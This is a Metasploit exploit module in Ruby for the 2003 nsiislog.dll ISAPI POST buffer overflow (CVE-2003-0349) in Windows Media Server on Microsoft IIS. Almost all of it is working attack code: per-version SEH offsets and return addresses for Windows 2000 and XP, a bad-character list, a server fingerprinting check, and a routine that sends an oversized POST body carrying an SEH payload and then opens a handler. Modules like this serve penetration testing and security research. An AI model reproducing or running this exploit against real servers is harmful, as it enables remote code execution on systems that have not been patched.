Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::BruteTargets  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow',  
'Description' => %q{  
This exploits a buffer overflow found in the nsiislog.dll  
ISAPI filter that comes with Windows Media Server. This  
module will also work against the 'patched' MS03-019  
version. This vulnerability was addressed by MS03-022.  
  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2003-0349'],  
[ 'OSVDB', '4535'],  
[ 'BID', '8035'],  
[ 'MSB', 'MS03-022'],  
[ 'URL', 'http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0120.html'],  
  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",  
'StackAdjustment' => -3500,  
  
},  
'Platform' => 'win',  
'Targets' =>   
[  
# SEH offsets by version (Windows 2000)  
# 4.1.0.3917 = 9992  
# 4.1.0.3920 = 9992  
# 4.1.0.3927 = 9992   
# 4.1.0.3931 = 14092  
  
['Brute Force', { }],  
['Windows 2000 -MS03-019', { 'Rets' => [ 9988, 0x40f01333 ] }],  
['Windows 2000 +MS03-019', { 'Rets' => [ 14088, 0x40f01353 ] }],  
['Windows XP -MS03-019', { 'Rets' => [ 9992, 0x40f011e0 ] }],  
],  
'DisclosureDate' => 'Jun 25 2003',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('URL', [ true, "The path to nsiislog.dll", "/scripts/nsiislog.dll" ]),  
], self.class)   
end  
  
def check  
res = send_request_raw({  
'uri' => datastore['URL']  
}, -1)  
  
if (res and res.body =~ /NetShow ISAPI/)  
return Exploit::CheckCode::Detected  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit_target(target)  
  
# Create a buffer greater than max SEH offset (16384)  
pst = rand_text_alphanumeric(256) * 64  
  
# Create SEH frame and insert into buffer  
seh = generate_seh_payload(target['Rets'][1])  
pst[target['Rets'][0], seh.length] = seh  
  
# Send it to the server  
print_status("Sending request...")  
res = send_request_cgi({  
'uri' => datastore['URL'],  
'method' => 'POST',  
'user-agent' => 'NSPlayer/2.0',  
'content-type' => 'application/x-www-form-urlencoded',  
'data' => pst  
}, 5)  
  
sleep(1)  
  
handler  
disconnect  
end  
  
end  
`